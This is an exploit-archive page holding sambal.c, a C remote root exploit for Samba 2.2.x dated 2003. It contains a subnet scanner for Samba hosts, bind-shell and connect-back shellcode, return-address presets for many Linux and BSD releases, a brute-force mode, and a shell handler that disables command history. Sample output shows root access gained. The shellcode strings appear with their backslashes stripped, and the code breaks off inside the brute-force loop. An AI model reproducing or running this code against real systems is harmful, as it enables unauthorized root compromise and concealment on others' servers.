[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Samba 2.2.8 Remote Root Exploit - sambal.c
# Published : 2003-04-10
# Author : eSDee
# Previous Title : SETI@home Clients Buffer Overflow Exploit
# Next Title : Poptop < 1.1.3-b3 and 1.1.3-20030409 Negative Read Overflow
/*
Remote root exploit for Samba 2.2.x and prior that works against
Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and
OpenBSD (2.x, 3.x and 3.2 non-executable stack).
sambal.c is able to identify samba boxes. It will send a netbios
name packet to port 137. If the box responds with the mac address
00-00-00-00-00-00, it's probally running samba.
[esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Scan mode.
+ [192.168.0.3] Samba
+ [192.168.0.10] Windows
+ [192.168.0.20] Windows
+ [192.168.0.21] Samba
+ [192.168.0.30] Windows
+ [192.168.0.31] Samba
+ [192.168.0.33] Windows
+ [192.168.0.35] Windows
+ [192.168.0.36] Windows
+ [192.168.0.37] Windows
...
+ [192.168.0.133] Samba
Great!
You could now try a preset (-t0 for a list), but most of the
time bruteforce will do. The smbd spawns a new process on every
connect, so we can bruteforce the return address...
[esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Worked!
--------------------------------------------------------------
Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
i586 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
sambal.c : samba-2.2.8 < remote root exploit by eSDee (www.netric.org|
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
typedef struct {
unsigned char type;
unsigned char flags;
unsigned short length;
} NETBIOS_HEADER;
typedef struct {
unsigned char protocol[4];
unsigned char command;
unsigned short status;
unsigned char reserved;
unsigned char flags;
unsigned short flags2;
unsigned char pad[12];
unsigned short tid;
unsigned short pid;
unsigned short uid;
unsigned short mid;
} SMB_HEADER;
int OWNED = 0;
pid_t childs[100];
struct sockaddr_in addr1;
struct sockaddr_in addr2;
char
linux_bindcode[] =
"x31xc0x31xdbx31xc9x51xb1x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80x89xc1x31xc0x31xdbx50x50"
"x50x66x68xb0xefxb3x02x66x53x89xe2xb3x10x53xb3x02"
"x52x51x89xcax89xe1xb0x66xcdx80x31xdbx39xc3x74x05"
"x31xc0x40xcdx80x31xc0x50x52x89xe1xb3x04xb0x66xcd"
"x80x89xd7x31xc0x31xdbx31xc9xb3x11xb1x01xb0x30xcd"
"x80x31xc0x31xdbx50x50x57x89xe1xb3x05xb0x66xcdx80"
"x89xc6x31xc0x31xdbxb0x02xcdx80x39xc3x75x40x31xc0"
"x89xfbxb0x06xcdx80x31xc0x31xc9x89xf3xb0x3fxcdx80"
"x31xc0x41xb0x3fxcdx80x31xc0x41xb0x3fxcdx80x31xc0"
"x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x8bx54x24"
"x08x50x53x89xe1xb0x0bxcdx80x31xc0x40xcdx80x31xc0"
"x89xf3xb0x06xcdx80xebx99";
char
bsd_bindcode[] =
"x31xc0x31xdbx53xb3x06x53xb3x01x53xb3x02x53x54xb0"
"x61xcdx80x89xc7x31xc0x50x50x50x66x68xb0xefxb7x02"
"x66x53x89xe1x31xdbxb3x10x53x51x57x50xb0x68xcdx80"
"x31xdbx39xc3x74x06x31xc0xb0x01xcdx80x31xc0x50x57"
"x50xb0x6axcdx80x31xc0x31xdbx50x89xe1xb3x01x53x89"
"xe2x50x51x52xb3x14x53x50xb0x2excdx80x31xc0x50x50"
"x57x50xb0x1excdx80x89xc6x31xc0x31xdbxb0x02xcdx80"
"x39xc3x75x44x31xc0x57x50xb0x06xcdx80x31xc0x50x56"
"x50xb0x5axcdx80x31xc0x31xdbx43x53x56x50xb0x5axcd"
"x80x31xc0x43x53x56x50xb0x5axcdx80x31xc0x50x68x2f"
"x2fx73x68x68x2fx62x69x6ex89xe3x50x54x53x50xb0x3b"
"xcdx80x31xc0xb0x01xcdx80x31xc0x56x50xb0x06xcdx80"
"xebx9a";
char
linux_connect_back[] =
"x31xc0x31xdbx31xc9x51xb1x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80x89xc2x31xc0x31xc9x51x51"
"x68x41x42x43x44x66x68xb0xefxb1x02x66x51x89xe7xb3"
"x10x53x57x52x89xe1xb3x03xb0x66xcdx80x31xc9x39xc1"
"x74x06x31xc0xb0x01xcdx80x31xc0xb0x3fx89xd3xcdx80"
"x31xc0xb0x3fx89xd3xb1x01xcdx80x31xc0xb0x3fx89xd3"
"xb1x02xcdx80x31xc0x31xd2x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80x31xc0xb0"
"x01xcdx80";
char
bsd_connect_back[] =
"x31xc0x31xdbx53xb3x06x53xb3x01x53xb3x02x53x54xb0"
"x61xcdx80x31xd2x52x52x68x41x41x41x41x66x68xb0xef"
"xb7x02x66x53x89xe1xb2x10x52x51x50x52x89xc2x31xc0"
"xb0x62xcdx80x31xdbx39xc3x74x06x31xc0xb0x01xcdx80"
"x31xc0x50x52x50xb0x5axcdx80x31xc0x31xdbx43x53x52"
"x50xb0x5axcdx80x31xc0x43x53x52x50xb0x5axcdx80x31"
"xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x54"
"x53x50xb0x3bxcdx80x31xc0xb0x01xcdx80";
struct {
char *type;
unsigned long ret;
char *shellcode;
int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec
stack */
} targets[] = {
{ "samba-2.2.x - Debian 3.0 ", 0xbffffea2, linux_bindcode,
0 },
{ "samba-2.2.x - Gentoo 1.4.x ", 0xbfffe890, linux_bindcode,
0 },
{ "samba-2.2.x - Mandrake 8.x ", 0xbffff6a0, linux_bindcode,
0 },
{ "samba-2.2.x - Mandrake 9.0 ", 0xbfffe638, linux_bindcode,
0 },
{ "samba-2.2.x - Redhat 9.0 ", 0xbffff7cc, linux_bindcode,
0 },
{ "samba-2.2.x - Redhat 8.0 ", 0xbffff2f0, linux_bindcode,
0 },
{ "samba-2.2.x - Redhat 7.x ", 0xbffff310, linux_bindcode,
0 },
{ "samba-2.2.x - Redhat 6.x ", 0xbffff2f0, linux_bindcode,
0 },
{ "samba-2.2.x - Slackware 9.0 ", 0xbffff574, linux_bindcode,
0 },
{ "samba-2.2.x - Slackware 8.x ", 0xbffff574, linux_bindcode,
0 },
{ "samba-2.2.x - SuSE 7.x ", 0xbffffbe6, linux_bindcode,
0 },
{ "samba-2.2.x - SuSE 8.x ", 0xbffff8f8, linux_bindcode,
0 },
{ "samba-2.2.x - FreeBSD 5.0 ", 0xbfbff374, bsd_bindcode,
1 },
{ "samba-2.2.x - FreeBSD 4.x ", 0xbfbff374, bsd_bindcode,
1 },
{ "samba-2.2.x - NetBSD 1.6 ", 0xbfbfd5d0, bsd_bindcode,
1 },
{ "samba-2.2.x - NetBSD 1.5 ", 0xbfbfd520, bsd_bindcode,
1 },
{ "samba-2.2.x - OpenBSD 3.2 ", 0x00159198, bsd_bindcode,
2 },
{ "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode,
2 },
{ "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode,
2 },
{ "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode,
2 },
{ "Crash (All platforms) ", 0xbade5dee, linux_bindcode,
0 },
};
void shell();
void usage();
void handler();
int is_samba(char *ip, unsigned long time_out);
int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);
int read_timer(int fd, unsigned int time_out);
int write_timer(int fd, unsigned int time_out);
int start_session(int sock);
int exploit_normal(int sock, unsigned long ret, char *shellcode);
int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);
void
usage(char *prog)
{
fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]nn"
"-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/Net
BSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)n"
"-B <step> bruteforce steps (default = 300)n"
"-c <ip address> connectback ip addressn"
"-C <max childs> max childs for scan/bruteforce mode (d
efault = 40)n"
"-d <delay> bruteforce/scanmode delay in micro sec
onds (default = 100000)n"
"-f forcen"
"-p <port> port to attack (default = 139)n"
"-r <ret> return addressn"
"-s scan mode (random)n"
"-S <network> scan moden"
"-t <type> presets (0 for a list)n"
"-v verbose modenn", prog);
exit(1);
}
int
is_samba(char *ip, unsigned long time_out)
{
char
nbtname[]= /* netbios name packet */
{
0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,
0x00,0x01
};
unsigned char recv_buf[1024];
unsigned char *ptr;
int i = 0;
int s = 0;
unsigned int total = 0;
if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;
if(Connect(s, ip, 137, time_out) == -1) {
close(s);
return -1;
}
memset(recv_buf, 0x00, sizeof(recv_buf));
if(write_timer(s, time_out) == 1) {
if (write(s, nbtname, sizeof(nbtname)) <= 0) {
close(s);
return -1;
}
}
if (read_timer(s, time_out) == 1) {
if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {
close(s);
return -1;
}
ptr = recv_buf + 57;
total = *(ptr - 1); /* max names */
while(ptr < recv_buf + sizeof(recv_buf)) {
ptr += 18;
if (i == total) {
ptr -= 19;
if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 &
& *(ptr + 3) == 0x00 &&
*(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 &
& *(ptr + 6) == 0x00) {
close(s);
return 0;
}
close(s);
return 1;
}
i++;
}
}
close(s);
return -1;
}
int
Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set connect_read, connect_write;
struct timeval timeout;
int getsockopt_length = 0;
int getsockopt_error = 0;
struct sockaddr_in server;
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
inet_pton(AF_INET, ip, &server.sin_addr);
server.sin_port = htons(port);
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return -1;
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return -1;
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&connect_read);
FD_ZERO(&connect_write);
FD_SET(fd, &connect_read);
FD_SET(fd, &connect_write);
if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
if(errno != EINPROGRESS) {
close(fd);
return -1;
}
}
else {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
select_status = select(fd + 1, &connect_read, &connect_write, NULL, &ti
meout);
if(select_status == 0) {
close(fd);
return -1;
}
if(select_status == -1) {
close(fd);
return -1;
}
if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write))
{
getsockopt_length = sizeof(getsockopt_error);
if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_err
or, &getsockopt_length) < 0) {
errno = ETIMEDOUT;
close(fd);
return -1;
}
if(getsockopt_error == 0) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
errno = getsockopt_error;
close(fd);
return (-1);
}
}
}
else {
close(fd);
return 1;
}
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
int
read_timer(int fd, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set fdread;
struct timeval timeout;
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
if(select_status == 0) {
close(fd);
return (-1);
}
if(select_status == -1) {
close(fd);
return (-1);
}
if(FD_ISSET(fd, &fdread)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return 1;
}
}
int
write_timer(int fd, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set fdwrite;
struct timeval timeout;
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdwrite);
FD_SET(fd, &fdwrite);
select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
if(select_status == 0) {
close(fd);
return -1;
}
if(select_status == -1) {
close(fd);
return -1;
}
if(FD_ISSET(fd, &fdwrite)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return -1;
}
}
void
shell(int sock)
{
fd_set fd_read;
char buff[1024], *cmd="unset HISTFILE; echo "*** JE MOET JE MUIL HOUWE
";uname -a;id;n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
if (FD_ISSET(sock, &fd_read)) {
if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
fprintf(stderr, "EOFn");
exit(2);
}
if (write(1, buff, n) < 0) break;
}
if (FD_ISSET(0, &fd_read)) {
if((n = read(0, buff, sizeof(buff))) < 0){
fprintf(stderr, "EOFn");
exit(2);
}
if (send(sock, buff, n, 0) < 0) break;
}
usleep(10);
}
fprintf(stderr, "Connection lost.nn");
exit(0);
}
void
handler()
{
int sock = 0;
int i = 0;
OWNED = 1;
for (i = 0; i < 100; i++)
if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);
if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
close(sock);
exit(1);
}
if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
fprintf(stdout, "+ Worked!n"
"----------------------------------------------
----------------n");
shell(sock);
close(sock);
}
}
int
start_session(int sock)
{
char buffer[1000];
char response[4096];
char session_data1[] = "x00xffx00x00x00x00x20x02x00x01x00
x00x00x00";
char session_data2[] = "x00x00x00x00x5cx5cx69x70x63x24x25
x6ex6fx62x6fx64x79"
"x00x00x00x00x00x00x00x49x50x43x24
";
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x2E);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x73; /* session setup */
smbheader->flags = 0x08; /* caseless pathnames */
smbheader->flags2 = 0x01; /* long filenames supported */
smbheader->pid = getpid() & 0xFFFF;
smbheader->uid = 100;
smbheader->mid = 0x01;
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_da
ta1, sizeof(session_data1) - 1);
if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 50, 0) < 0) return -1;
memset(response, 0x00, sizeof(response));
if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;
netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non sess
ion messagen");
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
memset(buffer, 0x00, sizeof(buffer));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x3C);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x70; /* start connection */
smbheader->pid = getpid() & 0xFFFF;
smbheader->tid = 0x00;
smbheader->uid = 100;
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_da
ta2, sizeof(session_data2) - 1);
if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 64, 0) < 0) return -1;
memset(response, 0x00, sizeof(response));
if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;
netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
if (netbiosheader->type != 0x00) return -1;
return 0;
}
int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];
char exploit_data[] =
"x00xd0x07x0cx00xd0x07x0cx00x00x00x00x00x00x00x
00x00x00"
"x00xd0x07x43x00x0cx00x14x08x01x00x00x00x00x00x
00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x
00x00x00x00"
"x00x00x00x90";
int i = 0;
unsigned long dummy = ret - 0x90;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;
memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(ex
ploit_data), 0x90, 3000);
buffer[1096] = 0xEB;
buffer[1097] = 0x70;
for (i = 0; i < 4 * 24; i += 8) {
memcpy(buffer + 1099 + i, &dummy, 4);
memcpy(buffer + 1103 + i, &ret, 4);
}
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1800, shellcode, strlen(shellcode));
if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}
return -1;
}
int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];
char exploit_data[] =
"x00xd0x07x0cx00xd0x07x0cx00x00x00x00x00x00x00x
00x00x00"
"x00xd0x07x43x00x0cx00x14x08x01x00x00x00x00x00x
00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x
00x00x00x00"
"x00x00x00x90";
int i = 0;
unsigned long dummy = ret - 0x30;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;
memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(ex
ploit_data), 0x90, 3000);
for (i = 0; i < 4 * 24; i += 4)
memcpy(buffer + 1131 + i, &dummy, 4);
memcpy(buffer + 1127, &ret, 4);
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode))
;
if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}
return -1;
}
int
main (int argc,char *argv[])
{
char *shellcode = NULL;
char scan_ip[256];
int brute = -1;
int connectback = 0;
int force = 0;
int i = 0;
int ip1 = 0;
int ip2 = 0;
int ip3 = 0;
int ip4 = 0;
int opt = 0;
int port = 139;
int random = 0;
int scan = 0;
int sock = 0;
int sock2 = 0;
int status = 0;
int type = 0;
int verbose = 0;
unsigned long BRUTE_DELAY = 100000;
unsigned long ret = 0x0;
unsigned long MAX_CHILDS = 40;
unsigned long STEPS = 300;
struct hostent *he;
fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric
.org|be)n"
"------------------------------------------------------
--------n");
while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {
switch(opt)
{
case 'b':
brute = atoi(optarg);
if ((brute < 0) || (brute > 3)) {
fprintf(stderr, "Invalid platform.nn"
);
return -1;
}
break;
case 'B':
STEPS = atoi(optarg);
if (STEPS == 0) STEPS++;
break;
case 'c':
sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,
&ip4);
connectback = 1;
if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 ==
0) {
fprintf(stderr, "Invalid IP address.n
n");
return -1;
}
linux_connect_back[33] = ip1; bsd_connect_back[
24] = ip1;
linux_connect_back[34] = ip2; bsd_connect_back[
25] = ip2;
linux_connect_back[35] = ip3; bsd_connect_back[
26] = ip3;
linux_connect_back[36] = ip4; bsd_connect_back[
27] = ip4;
break;
case 'C':
MAX_CHILDS = atoi(optarg);
if (MAX_CHILDS == 0) {
fprintf(stderr, "Invalid number of chil
ds.n");
return -1;
}
if (MAX_CHILDS > 99) {
fprintf(stderr, "Too many childs, using
99. n");
MAX_CHILDS = 99;
}
break;
case 'd':
BRUTE_DELAY = atoi(optarg);
break;
case 'f':
force = 1;
break;
case 'p':
port = atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr, "Invalid port.nn");
return -1;
}
break;
case 'r':
ret = strtoul(optarg, &optarg, 16);
break;
case 's':
random = 1;
scan = 1;
break;
case 'S':
random = 0;
scan = 1;
sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
ip3--;
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 16) {
for(i = 0; i < sizeof(targets) / 16; i+
+)
fprintf(stdout, "%02d. %s
[0x%08x]n", i + 1,
targets[i].type
, (unsigned int) targets[i].ret);
fprintf(stderr, "n");
return -1;
}
break;
case 'v':
verbose = 1;
break;
default:
usage(argv[0] == NULL ? "sambal" : argv[0]);
break;
}
}
if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 &&
scan == 0))
usage(argv[0] == NULL ? "sambal" : argv[0]);
if (scan == 1)
fprintf(stdout, "+ Scan mode.n");
if (verbose == 1)
fprintf(stdout, "+ Verbose mode.n");
if (scan == 1) {
srand(getpid());
while (1) {
if (random == 1) {
ip1 = rand() % 255;
ip2 = rand() % 255;
ip3 = rand() % 255; }
else {
ip3++;
if (ip3 > 254) { ip3 = 1; ip2++; }
if (ip2 > 254) { ip2 = 1; ip1++; }
if (ip1 > 254) exit(0);
}
for (ip4 = 0; ip4 < 255; ip4++) {
i++;
snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%
u.%u", ip1, ip2, ip3, ip4);
usleep(BRUTE_DELAY);
switch (fork()) {
case 0:
switch(is_samba(scan_ip, 2)) {
case 0:
fprintf(stdout,
"+ [%s] Samban", scan_ip);
break;
case 1:
fprintf(stdout,
"+ [%s] Windowsn", scan_ip);
break;
default:
break;
}
exit(0);
break;
case -1:
fprintf(stderr, "+ fork() error
n");
exit(-1);
break;
default:
if (i > MAX_CHILDS - 2) {
wait(&status);
i--;
}
break;
}
}
}
return 0;
}
he = gethostbyname(argv[optind]);
if (he == NULL) {
fprintf(stderr, "Unable to resolve %s...n", argv[optind]);
return -1;
}
if (brute == -1) {
if (ret == 0) ret = targets[type - 1].ret;
shellcode = targets[type - 1].shellcode;
if (connectback == 1) {
fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:452
95]n",
ip1, ip2, ip3, ip4);
switch(targets[type - 1].os_type) {
case 0: /* linux */
shellcode = linux_connect_back;
break;
case 1: /* FreeBSD/NetBSD */
shellcode = bsd_connect_back;
break;
case 2: /* OpenBSD */
shellcode = bsd_connect_back;
break;
case 3: /* OpenBSD 3.2 Non-exec stack */
shellcode = bsd_connect_back;
break;
}
}
if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
fprintf(stderr, "+ socket() error.n");
return -1;
}
if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
fprintf(stderr, "+ socket() error.n");
return -1;
}
memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
addr1.sin_family = AF_INET;
addr1.sin_port = htons(port);
addr2.sin_family = AF_INET;
addr2.sin_port = htons(45295);
if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) ==
-1) {
fprintf(stderr, "+ connect() error.n");
return -1;
}
if (verbose == 1) fprintf(stdout, "+ %sn", targets[type - 1].t
ype);
if (force == 0) {
if (is_samba(argv[optind], 2) != 0) {
fprintf(stderr, "+ Host is not running samba!n
n");
return -1;
}
fprintf(stderr, "+ Host is running samba.n");
}
if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]n", (
char *)inet_ntoa(addr1.sin_addr), port);
if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.
n");
if (verbose == 1) fprintf(stdout, "+ Session enstablishedn");
sleep(5);
if (targets[type - 1].os_type != 2) {
if (exploit_normal(sock, ret, shellcode) < 0) {
fprintf(stderr, "+ Failed.n");
close(sock);
}
} else {
if (exploit_openbsd32(sock, ret, shellcode) < 0) {
fprintf(stderr, "+ Failed.n");
close(sock);
}
}
sleep(2);
if (connectback == 0) {
if(connect(sock2, (struct sockaddr *)&addr2, sizeof(add
r2)) == -1) {
fprintf(stderr, "+ Exploit failed, try -b to br
uteforce.n");
return -1;
}
fprintf(stdout, "--------------------------------------
------------------------n");
shell(sock2);
close(sock);
close(sock2);
} else {
fprintf(stdout, "+ Done...n");
close(sock2);
close(sock);
}
return 0;
}
signal(SIGPIPE, SIG_IGN);
signal(SIGUSR1, handler);
switch(brute) {
case 0:
if (ret == 0) ret = 0xc0000000;
shellcode = linux_bindcode;
fprintf(stdout, "+ Bruteforce mode. (Linux)n");
break;
case 1:
if (ret == 0) ret = 0xbfc00000;
shellcode = bsd_bindcode;
fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)
n");
break;
case 2:
if (ret == 0) ret = 0xdfc00000;
shellcode = bsd_bindcode;
fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and pr
ior)n");
break;
case 3:
if (ret == 0) ret = 0x00170000;
shellcode = bsd_bindcode;
fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-
exec stack)n");
break;
}
memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
addr1.sin_family = AF_INET;
addr1.sin_port = htons(port);
addr2.sin_family = AF_INET;
addr2.sin_port = htons(45295);
for (i = 0; i < 100; i++)
childs[i] = -1;
i = 0;
if (force == 0) {
if (is_samba(argv[optind], 2) != 0) {
fprintf(stderr, "+ Host is not running samba!nn");
return -1;
}
fprintf(stderr, "+ Host is running samba.n");
}
while (OWNED == 0) {
if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);
if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
if (verbose == 1) fprintf(stderr, "+ socket() error.n"
);
}
else {
ret -= STEPS;
i++;
}
if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
if (verbose == 1) fprintf(stderr, "+ socket() error.n"
);
if ((ret & 0xff) == 0x00 && brute != 3) ret++;
if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]n", (u
nsigned int)ret);
usleep(BRUTE_DELAY);
switch (childs[i] = fork()) {
case 0:
if(Connect(sock, (char *)inet_ntoa(addr1.sin_ad
dr), port, 2) == -1) {
if (sock > 2) close(sock);
if (sock2 > 2) close(sock2);
exit(-1);
}
if(write_timer(sock, 3) == 1) {
